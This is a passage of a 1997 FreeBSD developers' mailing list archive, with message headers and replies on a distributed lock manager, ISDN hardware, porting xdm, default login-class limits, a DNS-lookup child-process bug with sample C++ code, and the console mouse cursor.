disagree > with some of their concepts, but if your intent is to create similar > service under FreeBSD, then this is about what we are building. [snip] > A DLM is key to these technologies. The you need an RDBMS which > understands the sharing concept. A raw/block device is to follow, then a > file system. This is the order in which we are going, anyway. Hi, Your project sounds very cool, is there anything like this available commercially? It must have been a lot of work to implement, and its usually quite difficult to persuade management to trust their data to software with "Free" in its name! Well done. Niall From owner-freebsd-hackers Wed Sep 17 01:21:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA28881 for hackers-outgoing; Wed, 17 Sep 1997 01:21:27 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA28874 for ; Wed, 17 Sep 1997 01:21:24 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id BAA01019; Wed, 17 Sep 1997 01:21:03 -0700 (PDT) Message-Id: <199709170821.BAA01019@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Greg Lehey cc: Eivind Eklund , Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: Kernel clock runs inaccurately In-reply-to: Your message of "Wed, 17 Sep 1997 17:15:03 +0930." <19970917171503.14900@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 01:21:03 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I had a centrex line perhaps my 20ms figure is low however it was not that much higher and for sure way less than a second. I pulling this figure from over a year ago... Cheers, Amancio >From The Desk Of Greg Lehey : > On Wed, Sep 17, 1997 at 12:35:53AM -0700, Amancio Hasty wrote: > > I guess it depens on your ISDN switch it used to take me > > 20ms > > How did you measure that? At 64 kb/s, 20 ms means 160 bytes at full > speed. Call setup takes about 6 messages. I don't think you can do > that in 160 bytes. > > > now is probably closer to a second --- my guess is that PacBell did > > an upgrade 8) > > Greg From owner-freebsd-hackers Wed Sep 17 01:23:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA29123 for hackers-outgoing; Wed, 17 Sep 1997 01:23:17 -0700 (PDT) Received: from mail11.digital.com (mail11.digital.com [192.208.46.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA29118 for ; Wed, 17 Sep 1997 01:23:13 -0700 (PDT) Received: from cssmuc.frt.dec.com (cssmuc.frt.dec.com [16.186.96.161]) by mail11.digital.com (8.7.5/UNX 1.5/1.0/WV) with SMTP id EAA21729; Wed, 17 Sep 1997 04:10:21 -0400 (EDT) Received: from mofo.frt.dec.com by cssmuc.frt.dec.com; (5.65v3.2/1.1.8.2/14Nov95-0232PM) id AA18679; Wed, 17 Sep 1997 10:10:19 +0200 Received: from mofo.frt.dec.com (localhost [127.0.0.1]) by mofo.frt.dec.com (8.8.6/8.8.5) with ESMTP id KAA02950; Wed, 17 Sep 1997 10:07:59 GMT Message-Id: <199709171007.KAA02950@mofo.frt.dec.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: Wm Brian McCane Cc: hackers@freebsd.org In-Reply-To: Message from Wm Brian McCane of Tue, 16 Sep 1997 16:32:19 EST. Reply-To: gjennejohn@frt.dec.com Subject: Re: ISDN Modems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 10:07:58 +0000 From: Gary Jennejohn Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Wm Brian McCane writes: > Greetings, > > I was wondering which/if any internal ISDN modems work with FreeBSD. > I am needing to connect 2 machines to the internet and would prefer built > modems, but I could use externals if someone can tell me which serial cards > are available that can do 230400 bps or better. I also intend to use `bisdn' - > for this system unless there are any serious objections or concerns from the > community 8). > if you're planning to use bisdn then you can easily find out which internal cards are supported by grabbing the package and looking at it. You do know where it is, I assume ? Anyway, bisdn supports the various Teles cards (S0/8, S0/16 and S0/16.3) and clones (Creatix, Niccy). One of the AVM cardss may also be supported. That's it. If you're not in Europe then you don't have much chance of getting bisdn to work. To the best of my knowledge it's never been tested outside of Europe. Be aware that bisdn does not support channel bundling. --- Gary Jennejohn (work) gjennejohn@frt.dec.com (home) garyj@muc.de (play) gj@freebsd.org From owner-freebsd-hackers Wed Sep 17 01:28:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA29462 for hackers-outgoing; Wed, 17 Sep 1997 01:28:31 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA29449 for ; Wed, 17 Sep 1997 01:28:06 -0700 (PDT) Received: from localhost (sebesty@localhost) by konig.elte.hu (8.8.3/8.7.3/7s) with SMTP id KAA06429 for ; Wed, 17 Sep 1997 10:00:56 +0200 Date: Wed, 17 Sep 1997 10:00:55 +0200 (MET DST) From: Zoltan Sebestyen X-Sender: sebesty@konig Reply-To: Zoltan Sebestyen To: FreeBSD hackers mailinglist Subject: XDM again Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, I've just found out that I'm totally wrong. I wrote my previous letter about XDM, because I'm porting KDE's xdm replacement and the linker complained that it can't resolve '_getnetname'. I thought it's a Linux hack, but it isn't, the original xdm also uses this function. Does anyone know in which library is this function? (On Linux, it's in libc, but no header contains its definition!) Thanks in advance -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Wed Sep 17 01:31:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA29599 for hackers-outgoing; Wed, 17 Sep 1997 01:31:22 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA29593 for ; Wed, 17 Sep 1997 01:31:18 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id BAA28284; Wed, 17 Sep 1997 01:31:04 -0700 (PDT) To: John Hay cc: davidn@labs.usn.blaze.net.au (David Nugent), hackers@FreeBSD.ORG Subject: Re: login classes In-reply-to: Your message of "Sat, 17 Sep 1997 08:22:02 +0200." <199709170622.IAA11373@zibbi.mikom.csir.co.za> Date: Wed, 17 Sep 1997 01:31:03 -0700 Message-ID: <28279.874485063@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > But if the shipped defaults does not work for most people, shouldn't > the shipped defaults change? I would guess that most FreeBSD boxes > are used as single-user machines, so maybe we should ship it with > more relaxed limits? At the moment the shipped defaults does not I think so. Jordan From owner-freebsd-hackers Wed Sep 17 01:38:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA29996 for hackers-outgoing; Wed, 17 Sep 1997 01:38:10 -0700 (PDT) Received: from mailbox.uq.edu.au (zzshocki.dialin.uq.net.au [203.101.242.9]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA29991 for ; Wed, 17 Sep 1997 01:38:06 -0700 (PDT) Received: from bloop.craftncomp.com (localhost.craftncomp.com [127.0.0.1]) by mailbox.uq.edu.au (8.8.7/8.6.12) with ESMTP id SAA01279 for ; Wed, 17 Sep 1997 18:44:00 +1000 (EST) Message-Id: <199709170844.SAA01279@mailbox.uq.edu.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: hackers@freebsd.org Subject: Re: Distributed Lock Manager on FreeBSD In-reply-to: Your message of "Wed, 17 Sep 1997 01:14:56 EST." <199709170614.BAA00475@argus.tfs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 18:43:59 +1000 From: Stephen Hocking Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > In reply: > > Hi, > > > > Can we implement something like Microsoft's Wolf Pack with your DLM? > > I'm not too familiar with WolfPack, but is it the thing they licensed > from Tandem? > People in the know call it Chihua(sp?)Pack - it's nowhere near as good as the clustering stuff you'll get from Tandem, DEC or other Unix vendors. Stephen From owner-freebsd-hackers Wed Sep 17 01:39:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA00240 for hackers-outgoing; Wed, 17 Sep 1997 01:39:24 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA00222 for ; Wed, 17 Sep 1997 01:39:19 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id KAA09655; Wed, 17 Sep 1997 10:44:15 +0200 (SAT) Received: by citadel via recvmail id 9653; Wed Sep 17 10:44:00 1997 by gram.cdsec.com (8.8.5/8.8.5) id KAA02083; Wed, 17 Sep 1997 10:06:48 +0200 (SAT) From: Graham Wheeler Message-Id: <199709170806.KAA02083@cdsec.com> Subject: Re: Memory leak in getservbyXXX? To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Wed, 17 Sep 1997 10:06:47 +0200 (SAT) Cc: hackers@freebsd.org In-Reply-To: <7153.874473906@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 17, 97 07:25:06 am X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk (I've stopped cc-ing to freebsd-bugs on the assumption that the bug is mine). Unfortunately the problem hasn't gone away. This morning the program was spinning again, along with about ten child processes. This is really weird, especially as all the child processes do is a gethostbyaddr(), write the result to a (pipe) file descriptor, and exit. Here is some code, if this sheds any light (these are all virtual methods): int ChildProcess::Spawn() { if (ChildManager::Register(this) >= 0) { if ((pid = fork()) == 0) { exit(Run()); } else if (pid>0) { state = Running; starttime = Time(); return 0; } } state = Failed; return -1; } // PipeChildProcess inherits from ChildProcess int PipeChildProcess::Spawn() { if (socketpair(AF_UNIX, SOCK_STREAM, 0, pfd) < 0) { state = Failed; return -1; } int rtn = ChildProcess::Spawn(); if (rtn < 0) close(pfd[0]); else pipefd = pfd[0]; close(pfd[1]); return rtn; } int PipeChildProcess::Run() { close(pfd[0]); pipefd = pfd[1]; // set standard descriptors to be pipe for (int i = 0; i < 3; i++) if (i != pipefd) if (dup2(pipefd, i) < 0) return -1; return Exec(); } // DNSLookupProcess inherits from PipeChildProcess int DNSLookupProcess::Exec() { unsigned char *cp = (unsigned char *)&addr; printf("%c%c%c%c", cp[0], cp[1], cp[2], cp[3]); struct in_addr a; a.s_addr = addr; struct hostent *h = gethostbyaddr((char*)&a, 4, AF_INET); if (h) { printf("%s", h->h_name); return 0; } return (-1); } -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Wed Sep 17 01:46:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA00611 for hackers-outgoing; Wed, 17 Sep 1997 01:46:21 -0700 (PDT) Received: from minor.stranger.com (stranger.vip.best.com [204.156.129.250]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA00605 for ; Wed, 17 Sep 1997 01:46:15 -0700 (PDT) Received: from dog.farm.org (dog.farm.org [207.111.140.47]) by minor.stranger.com (8.8.5/8.6.12) with ESMTP id BAA02839; Wed, 17 Sep 1997 01:48:21 -0700 (PDT) Received: (from dk@localhost) by dog.farm.org (8.7.5/dk#3) id BAA18137; Wed, 17 Sep 1997 01:42:35 -0700 (PDT) Date: Wed, 17 Sep 1997 01:42:35 -0700 (PDT) From: Dmitry Kohmanyuk Message-Id: <199709170842.BAA18137@dog.farm.org> To: tlambert@primenet.com (Terry Lambert) Cc: freebsd-hackers@freebsd.org Subject: Re: nfs startup - perhaps it is a problem Newsgroups: cs-monolit.gated.lists.freebsd.hackers Organization: FARM Computing Association Reply-To: dk+@ua.net X-Newsreader: TIN [version 1.2 PL2] Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199709150245.TAA12665@usr09.primenet.com> you wrote: > Second of all, if the dots are there, then the thing dials out on > boot when it starts inetd and/or sendmail (I didn't localize it). press ctrl-T during /etc/rc and it would show you... > I find it strange that it's getting the domain name out of resolv.conf, > since the host.conf file specifically says not to reference bind (and > therefore bind configuration data) until the local hosts file has > been consulted. I think it was trying to resolve your FQDN. Try rlogin phaeton.lambert.org and rlogin phaeton.lambert.org. and see if this makes any difference. also, try domain lambert.org or (exclusive) search lambert.org in your /etc/resolv.conf > In theory, I should be able to put in machine names *without* a > domain in my hosts file; the domain name is the "name" of my > netblock for the pruposes of DNS, after all. After all, by > definit, all machines in my /etc/hosts file that are in my > local netblock are in my domain, and in the DNS case, will get > my domain name on lookup anyway, so I can use the naked names. maybe, I maybe not. I always put it like this: 207.111.140.47 dog.farm.org dog and it works without internet connection (I run a local named which is primary for farm.org, but I configure interfaces using full hostnames when named is not yet run, and it doesn't wait) > The one thing that's been solved so far is that I have the idle > timeout working now; that was mostly stupidity on my part; I > had a cron that did a cvssup. I do it manually now. make a ppp connection established put a flag (a regular ifconfig ppp0 | grep UP can do ) then use this flag as a condition in crontab entries... From owner-freebsd-hackers Wed Sep 17 01:50:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA00796 for hackers-outgoing; Wed, 17 Sep 1997 01:50:19 -0700 (PDT) Received: from ghpc8.ihf.rwth-aachen.de (ghpc8.ihf.RWTH-Aachen.DE [134.130.90.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA00791 for ; Wed, 17 Sep 1997 01:50:15 -0700 (PDT) Received: from ghpc6.ihf.rwth-aachen.de (ghpc6.ihf.rwth-aachen.de [134.130.90.6]) by ghpc8.ihf.rwth-aachen.de (8.8.7/8.8.6) with ESMTP id KAA10084; Wed, 17 Sep 1997 10:50:06 +0200 (CEST) Received: (from thomas@localhost) by ghpc6.ihf.rwth-aachen.de (8.8.7/8.8.5) id KAA06183; Wed, 17 Sep 1997 10:49:55 +0200 (CEST) To: Zoltan Sebestyen Cc: hackers@FreeBSD.ORG Subject: Re: XDM source References: From: Thomas Gellekum Date: 17 Sep 1997 10:49:50 +0200 In-Reply-To: Zoltan Sebestyen's message of Wed, 17 Sep 1997 09:32:33 +0200 (MET DST) Message-ID: <87g1r48guo.fsf@ghpc6.ihf.rwth-aachen.de> Lines: 10 X-Mailer: Gnus v5.4.37/XEmacs 19.15 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Zoltan Sebestyen writes: > I'm searching for xdm's source, I know it's in the standard X contrib > tarballs, but doesn't know if it's changed for FreeBSD. If so please let > me know where I can find it. Look for the XFree86 source distribution (ftp.xfree86.org and mirrors) and check the patches in the port (/usr/ports/x11/XFree86). tg From owner-freebsd-hackers Wed Sep 17 01:57:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA01175 for hackers-outgoing; Wed, 17 Sep 1997 01:57:46 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA01169 for ; Wed, 17 Sep 1997 01:57:31 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id DAA00161; Wed, 17 Sep 1997 03:41:33 -0500 (EST) From: "John S. Dyson" Message-Id: <199709170841.DAA00161@dyson.iquest.net> Subject: Re: cpu load In-Reply-To: from Zoltan Sebestyen at "Sep 17, 97 08:56:08 am" To: sebesty@cs.elte.hu (Zoltan Sebestyen) Date: Wed, 17 Sep 1997 03:41:33 -0500 (EST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Zoltan Sebestyen said: > Hi, > > I'm searching for an easy way to get information cpu_load on FreeBSD. On > Linux people just reads /proc/stat, but that one won't work on FreeBSD. > We generally support the pseudo-MIB mechanism of sysctl. Check out the wonderful world of 'sysctl -A' or 'sysctl -a'. The command that you might want to try is 'sysctl vm.loadavg'. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Wed Sep 17 02:19:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA02300 for hackers-outgoing; Wed, 17 Sep 1997 02:19:21 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA02284 for ; Wed, 17 Sep 1997 02:19:18 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id EAA00338; Wed, 17 Sep 1997 04:18:24 -0500 (EST) From: "John S. Dyson" Message-Id: <199709170918.EAA00338@dyson.iquest.net> Subject: Re: login classes In-Reply-To: <199709170622.IAA11373@zibbi.mikom.csir.co.za> from John Hay at "Sep 17, 97 08:22:02 am" To: jhay@mikom.csir.co.za (John Hay) Date: Wed, 17 Sep 1997 04:18:24 -0500 (EST) Cc: davidn@labs.usn.blaze.net.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John Hay said: > > > rc files use the daemon class, which is too conservative... > > > > > > Perhaps we need a change in this class. If possible, in time to 2.2.5. > > > > It sounds like limits(1) might be needed in some cases. That's why > > it exists. I really don't think this is an issue that needs to be > > fiddled with in the default installation. If "daemon" resources > > don't suit a particular installation, then obviously they need to > > change it or use an alternative class with better tuned resources > > for a particular case, but there's no formula that will suit everyone > > in all cases. > > But if the shipped defaults does not work for most people, shouldn't > the shipped defaults change? I would guess that most FreeBSD boxes > are used as single-user machines, so maybe we should ship it with > more relaxed limits? At the moment the shipped defaults does not > seem to work for anything that I have, which is news servers, web > servers, development servers, mail servers or personal machines. > Or maybe we must specify for what kind of box the defaults is > suitable? > I think that we should apply the philosophy of 'least surprise' to the default config. Every system has a slightly different login-class mechanism (if any.) I think that wide-open (or nearly so) would be the 'least surprise.' Intelligent sysops, system administrators or vertical product suppliers will each have different needs for default limits. I think that the defaults should be 'intelligently high.' -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Wed Sep 17 02:34:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA03177 for hackers-outgoing; Wed, 17 Sep 1997 02:34:42 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA03172 for ; Wed, 17 Sep 1997 02:34:40 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.7/8.7.1) id FAA22547; Wed, 17 Sep 1997 05:44:14 -0400 Date: Wed, 17 Sep 1997 05:44:13 -0400 (EDT) From: Ben Black To: Stephen Hocking cc: hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: <199709170844.SAA01279@mailbox.uq.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk this reminds me...anyone know the status of myrinet drivers for freebsd? we could have a mean clustering system... www.myri.com On Wed, 17 Sep 1997, Stephen Hocking wrote: > > In reply: > > > Hi, > > > > > > Can we implement something like Microsoft's Wolf Pack with your DLM? > > > > I'm not too familiar with WolfPack, but is it the thing they licensed > > from Tandem? > > > People in the know call it Chihua(sp?)Pack - it's nowhere near as good as the > clustering stuff you'll get from Tandem, DEC or other Unix vendors. > > Stephen > > From owner-freebsd-hackers Wed Sep 17 04:20:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA06533 for hackers-outgoing; Wed, 17 Sep 1997 04:20:59 -0700 (PDT) Received: from colin.muc.de (root@colin.muc.de [193.174.4.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA06518 for ; Wed, 17 Sep 1997 04:20:50 -0700 (PDT) Received: from tavari.muc.de ([193.174.4.22]) by colin.muc.de with SMTP id <86030-2>; Wed, 17 Sep 1997 13:20:23 +0200 Received: from [192.168.42.51] (aleisha [192.168.42.51]) by tavari.muc.de (8.8.7/8.8.7) with ESMTP id LAA00169; Wed, 17 Sep 1997 11:26:44 +0200 (CEST) X-Sender: lutz@mail Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 17 Sep 1997 11:17:47 +0200 To: Zoltan Sebestyen From: Lutz Albers Subject: Re: XDM again Cc: FreeBSD hackers mailinglist Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Zoltan Sebestyen wrote on 17.09.1997 XDM again >Hi, > > I've just found out that I'm totally wrong. I wrote my previous letter >about XDM, because I'm porting KDE's xdm replacement and the linker >complained that it can't resolve '_getnetname'. I thought it's a Linux >hack, but it isn't, the original xdm also uses this function. Does anyone >know in which library is this function? (On Linux, it's in libc, but no >header contains its definition!) Maybe you're looking for something like: getnetent, getnetbyaddr, getnetbyname, setnetent, endnetent - get network entry ??? ciao lutz -- Lutz Albers, lutz@muc.de, pgp key available from Do not take life too seriously, you will never get out of it alive. From owner-freebsd-hackers Wed Sep 17 05:10:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA08015 for hackers-outgoing; Wed, 17 Sep 1997 05:10:04 -0700 (PDT) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA07983 for ; Wed, 17 Sep 1997 05:10:00 -0700 (PDT) Received: from panke.panke.de (anonymous213.ppp.cs.tu-berlin.de [130.149.17.213]) by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id OAA06676 for ; Wed, 17 Sep 1997 14:06:38 +0200 (MET DST) Received: (from wosch@localhost) by panke.panke.de (8.8.5/8.6.12) id OAA00775; Wed, 17 Sep 1997 14:04:01 +0200 (MET DST) Message-ID: <19970917140401.36956@panke.de> Date: Wed, 17 Sep 1997 14:04:01 +0200 From: Wolfram Schneider To: hackers@freebsd.org Subject: mouse pointer [laskavy@cs.msu.su: Re: bin/4004] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----Forwarded message from "Sergei S. Laskavy" ----- From: "Sergei S. Laskavy" Message-Id: <199709171121.PAA01822@ns.cs.msu.su> To: wosch@cs.tu-berlin.de Subject: Re: bin/4004 Laskavy> What do you think about the suggestion Laskavy> DO NOT use the arrow (just the box)? Schneider> i dont know the answer myself. [Maybe my English is too rusty, sorry] I mean this: Are you sure, that using an arrow as a mouse pointer looks nice? Or, if you like an arrow, then can we use ANOTHER characters for it? I think, chars with code less than 0x20 are used rarely than those chars... And... I do not understand, why you "dont know the answer". Maybe, I'm asking in the wrong place about that? Sincerely, Sergei S. Laskavy -----End of forwarded message----- From owner-freebsd-hackers Wed Sep 17 06:00:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA09689 for hackers-outgoing; Wed, 17 Sep 1997 06:00:40 -0700 (PDT) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA09682 for ; Wed, 17 Sep 1997 06:00:33 -0700 (PDT) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id WAA02046; Wed, 17 Sep 1997 22:28:01 +0930 (CST) Message-Id: <199709171258.WAA02046@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Wolfram Schneider cc: hackers@freebsd.org, laskavy@cs.msu.su Subject: Re: mouse pointer [laskavy@cs.msu.su: Re: bin/4004] In-reply-to: Your message of "Wed, 17 Sep 1997 14:04:01 +0200." <19970917140401.36956@panke.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 22:28:01 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > -----Forwarded message from "Sergei S. Laskavy" ----- > From: "Sergei S. Laskavy" > Message-Id: <199709171121.PAA01822@ns.cs.msu.su> > To: wosch@cs.tu-berlin.de > Subject: Re: bin/4004 > > > Laskavy> What do you think about the suggestion > Laskavy> DO NOT use the arrow (just the box)? > > Schneider> i dont know the answer myself. > > [Maybe my English is too rusty, sorry] > > I mean this: > > Are you sure, that using an arrow as a mouse pointer looks nice? > > Or, if you like an arrow, then can we use ANOTHER characters for it? The arrow is not a "character", rather it is formed by using four spare characters and generating those characters by overlapping the arrow bitmap and the bitmap for the relevant characters on the screen. If you want a different mouse cursor, see the arrays mouse_and_mask[] and mouse_or_mask[] in sys/i386/isa/syscons.c. If you're feeling adventurous, you could add an ioctl to set these and some code to vidcontrol(1) to translate, say, an xpm image. mike From owner-freebsd-hackers Wed Sep 17 06:10:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA10075 for hackers-outgoing; Wed, 17 Sep 1997 06:10:22 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA10069 for ; Wed, 17 Sep 1997 06:10:15 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.8.7/8.6.12) with SMTP id JAA01653; Wed, 17 Sep 1997 09:09:55 -0400 (EDT) Date: Wed, 17 Sep 1997 09:09:54 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: Simon Shapiro cc: FreeBSD-Hackers Subject: Re: Distributed Lock Manager on FreeBSD (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk ---------- Forwarded message ---------- Date: Wed, 17 Sep 1997 04:21:46 +0000 (GMT) From: Alfred Perlstein To: Simon Shapiro Cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD > We are putting the finishing touches on a true general purpose distributed > lock manager for FreeBSD. This message is a solicitation for interest. If > I receive enough interest in it I will start a chain of discussions on the > subject and solicit core review for inclusion in FreeBSD. This may not be > easy as some of my management would like to keep it proprietary. > > To illustrate, an Oracle equivalent (subset, really) had a cost of over > $250,000 for the source and about 1/5 for binary. > I'm impressed! This is a huge undertaking. I'd love to read more, I hope you post updates, or give URL's where I can read more about it. > > VERY BRIEF SUMMARY: > > DLM is a method by which cooperating processes on different machines (even > different operating systems) can inform each other of interest in a named > object. Just like a database lock manager, or a file system lock manager, > but with the ability to span hosts in real time. > > Some highlight of this DLM: > > * Kernel implementation; All the locking logic is in the O/S kernel, not > in userspace. > > * Multi-state, hirerchial lock with up to 32 states per lock. > > * Conflict resolution built in; Caller can specify which states to > consider in conflict analysis. > > * Conflict Blocking; Caller can specify which conflict to block on. > > * Programmable conflict block; Allows caller to specify how long to wait. > > * Multiple-locking. Individual states can accumulate; A locker can > specify that multiple ``read'' locks are permitted. the DLM will > track how many are actually applied. > > * Remote Locking; A call to the local DLM agent for locking a remote > resource is automatically proxied. > > * Shared Locking; If a resource is shared, the DLM will apply both local > and remote lock and automatically/instantly resolve deadlocks. > > * Multi-path; Each resource can have its own data path (TCP/IP, SCSI, > RCS-232, etc.) UDP support is running, SCSI support via DPT is > forthcoming. > > * External resource management; The mapping of resources is external to > the locking agent. > > * Distributed; There is no central locking authority, although you can > easily create one via resource configuration. > > + What is it good for? We are using it to build our non-stop RDBMS server, > which is composed of a group of FreeBSD machines tied to a single disk > farm. The RDBMS is PgSQL with the lock manager replaced with the DLM and > the storage manager replaced with the DBFS/DIO module I am still working > on. > > If any of this is of any interest to any of you, drop me a line. Please > try to do so soon , so I can decide how to document the thing. > > > > --- > > > Sincerely Yours, (Sent on 16-Sep-97, 19:18:09 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Wed Sep 17 06:43:04 1997 Return-Path: Received: 